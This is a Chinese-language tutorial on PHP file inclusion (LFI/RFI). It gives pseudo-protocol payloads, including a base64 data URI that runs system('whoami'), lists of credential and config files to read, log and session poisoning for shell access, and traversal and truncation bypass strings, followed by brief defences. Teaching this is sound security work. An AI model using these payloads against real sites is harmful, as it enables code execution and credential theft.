# 1.39 文件包含漏洞

## 描述

文件包含漏洞是"代码注入"的一种，包含即执行，又分为LFI和RFI两种。

RFI的利用条件较为苛刻，需要php.ini中进行配置

allow\_url\_fopen = On allow\_url\_include = On

## 危害

* PHP包含漏洞结合上传漏洞；
* PHP包含读文件；
* PHP包含写文件；
* PHP包含日志文件；
* PHP截断包含；
* PHP内置伪协议利用。

PHP中文件包含函数有以下四种：

```php
require()
require_once()
include()
include_once()
```

nclude和require区别主要是，include在包含的过程中如果出现错误，会抛出一个警告，程序继续正常运行；而require函数出现错误的时候，会直接报错并退出程序的执行。

而include\_once()，require\_once()这两个函数，与前两个的不同之处在于这两个函数只包含一次，适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下，你想确保它只被包括一次以避免函数重定义，变量重新赋值等问题。

当使用这4个函数包含一个新的文件时，该文件将作为PHP代码执行，PHP的内核并不会在意被包含的文件是什么类型。即你可以上传一个含shell的txt或jpg文件，包含它会被当作PHP代码执行（图马）。

最简单的漏洞代码：

```php
<?php include($_GET[file]);?>
```

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1iph1tpt1j313a0gaac1.jpg)

## 漏洞利用

### 伪协议

#### php\://input

利用条件：

* allow\_url\_include = On。
* 对allow\_url\_fopen不做要求。

解释：上面filter既然能读文件，肯定还能写文件，这就可以利用input将数据POST过去，即php\://input是用来接收post数据的；

用法：?file=php\://input 数据利用POST传过去

注意：如果php.ini里的allow\_url\_include=On（PHP < 5.30）,就可以造成任意代码执行，在这可以理解成远程文件包含漏洞（RFI），即POST过去一句话，即可执行；

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1iqa2n8g3j314r0g20uq.jpg)

#### php\://filter

利用条件：无甚

解释：php\://filter是一种元封装器，设计用于"数据流打开"时的"筛选过滤"应用，对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来，只是读取，不需要开启allow\_url\_include；

用法：?file=php\://filter/convert.base64-encode/resource=xxx.php

?file=php\://filter/read=convert.base64-encode/resource=xxx.php 一样

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1iqh5dghej315o0g075w.jpg)

#### phar://

利用条件：

php版本大于等于php5.3.0

phar是一个文件归档的包，类似于Java中的Jar文件，方便了PHP模块的迁移。 php中默认安装了这个模块。

假设有个文件phpinfo.txt，其内容为\<?php phpinfo(); ?>，打包成zip压缩包

使用绝对路径

> index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt

或者相对路径

> index.php?file=phar://test.zip/phpinfo.txt

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1iqpbtez2j310n08yjsg.jpg)

#### zip\://

利用条件：

php版本大于等于php5.3.0 姿势： 构造zip包的方法同phar。

但使用zip协议，需要指定绝对路径，同时将#编码为%23，之后填上压缩包内的文件。

> index.php?file=zip\://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1iqrmj4jtj312d0f6myy.jpg)

#### data:URI schema

利用条件：

php版本大于等于php5.2 allow\_url\_fopen = On allow\_url\_include = On

姿势一：

> test.php?file=data:text/plain,\<?php phpinfo();?>

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1iqzjqz1tj315n0ittba.jpg)

姿势二：

> file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
>
> ?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1ir0ugupdj31160h90u9.jpg)

和php伪协议的input类似，碰到file\_get\_contents()来用；

题目代码

```php
<?php
$user=$_GET['user'];
#echo $user;
if(isset($user)&&(file_get_contents($user,'r')==='the user is admin')){
    echo "flag{xxxxxxxxxxxxx}";
}
else{
    echo "you are not admin ! ";
}
?>
```

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1ir3zupwmj30vn0d675g.jpg)

### 无限制包含

就是可以随意包含的那种..

一些常用的敏感日志

windows

```
c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息
```

linux

```
/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件
```

### session文件包含

利用条件：

session的存储位置可以获取。

1. 通过phpinfo的信息可以获取到session的存储位置。

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1irb5dwnjj30m304bjrj.jpg)

1. 通过猜测默认的session存放位置进行尝试。

如linux下默认存储在/var/lib/php/session目录下：

实例

```php
<?php

session_start();

$ctfs=$_GET['ctfs'];

$_SESSION["username"]=$ctfs;

?>
```

此php会将获取到的GET型ctfs变量的值存入到session中。

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1irh2tu3lj30xv0jzgou.jpg)

通过上面的分析，可以知道ctfs传入的值会存储到session文件中，如果存在本地文件包含漏洞，就可以通过ctfs写入恶意代码到session文件中，然后通过文件包含漏洞执行此恶意代码getshell。

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1irjo2662j30vh0cdmyn.jpg)

### 日志文件包含

PayLoad：

> <http://localhost/include/file.php?file=>\<?php phpinfo(); ?>

日志会记录客户端请求及服务器响应的信息，访问<http://www.xx.com/>\<?php phpinfo(); ?>时，\<?php phpinfo(); ?>也会被记录在日志里，也可以插入到User-Agent

然后

payload：

> <http://localhost/include/file.php?file=../../apache/logs/access.log>

注意，写入时防止转义，使用burp抓包上传

当然ssh的日志也是可以的，比如

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1iryaum2wj311p03maab.jpg)

### 包含/proc/self/environ文件

利用条件：

php以cgi方式运行，这样environ才会保持UA头。 environ文件存储位置已知，且environ文件可读。

姿势：

proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码，则php代码会被写入到environ中。之后再包含它，即可。

### 包含fd

<https://highon.coffee/blog/lfi-cheat-sheet/#procselffd-lfi-method>

### 包含临时文件

php中上传文件，会创建临时文件。在linux下使用/tmp目录，而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前，利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解，linux下使用的随机函数有缺陷，而window下只有65535中不同的文件名，所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables，可以直接获取到上传文件的存储路径和临时文件名，直接包含即可。

## 绕过姿势

### 指定前缀

代码

```
<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file;
?>
```

这个最简单了，简要的提一下。

现在在/var/log/test.txt文件中有php代码\<?php phpinfo();?>，则利用../可以进行目录遍历，比如我们尝试访问：

> include.php?file=../../log/test.txt

服务器端常常会对于../等做一些过滤，可以用一些编码来进行绕过

```php
利用url编码
../
%2e%2e%2f
..%2f
%2e%2e/
..\
%2e%2e%5c
..%5c
%2e%2e\
二次编码
../
%252e%252e%252f
..\
%252e%252e%255c
容器/服务器的编码方式
../
..%c0%af
注：Why does Directory traversal attack %C0%AF work?
%c0%ae%c0%ae/
注：java中会把”%c0%ae”解析为”\uC0AE”，最后转义为ASCCII字符的”.”（点）
Apache Tomcat Directory Traversal
..\
..%c1%9c
```

### 指定后缀

接着考虑指定后缀的情况。测试代码:

```php
<?php
    $file = $_GET['file'];
    include $file.'/test/test.php';
?>
```

在远程文件包含漏洞（RFI）中，可以利用query或fragment来绕过后缀限制。

#### url格式为：

> protocol :// hostname\[:port] / path / \[;parameters]\[?query]#fragment
>
> index.php?file=<http://remoteaddr/remoteinfo.txt%23>

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1it42c283j314e0md770.jpg)

> index.php?file=<http://remoteaddr/remoteinfo.txt?>

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1it4za0v3j312f0k476e.jpg)

#### 利用协议

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1itaot5pvj311l0j0tar.jpg)

构造压缩包如下：

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1itbpu3r2j30k602vgli.jpg)

test.php内容为：

```php
<?php phpinfo(); ?>
```

则拼接后为：zip\://D:\phpStudy\WWW\fileinclude\chybeta.zip#chybeta/test/test.php

#### 长度截断

利用条件： php版本 < php 5.2.8

目录字符串，在linux下4096字节时会达到最大值，在window下是256字节。只要不断的重复./

> index.php?file=././././。。。省略。。。././shell.txt

则后缀/test/test.php，在达到最大值后会被直接丢弃掉。

#### 点号截断

条件：windows OS，点号需要长于256

> ```
> ?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
> ```

#### %00 截断

利用条件： php版本 < php 5.3.4

截断更多地用于文件包含，比如 \<?php include($\_GET\['path']).".jpg" > 要求一定是jpg 后缀的，这样我们可以用 1.php?path=php\://input%00 这样就把后面的 .jpg 吃掉了。同理 path=../../../../etc/passwd%00 读取 /etc/passwd

## 漏洞测试

测试工具

> <https://github.com/P0cL4bs/Kadimus/>

## 防御方案

* 在很多场景中都需要去包含web目录之外的文件，如果php配置了open\_basedir，则会包含失败
* 做好文件的权限管理
* 对危险字符进行过滤等等
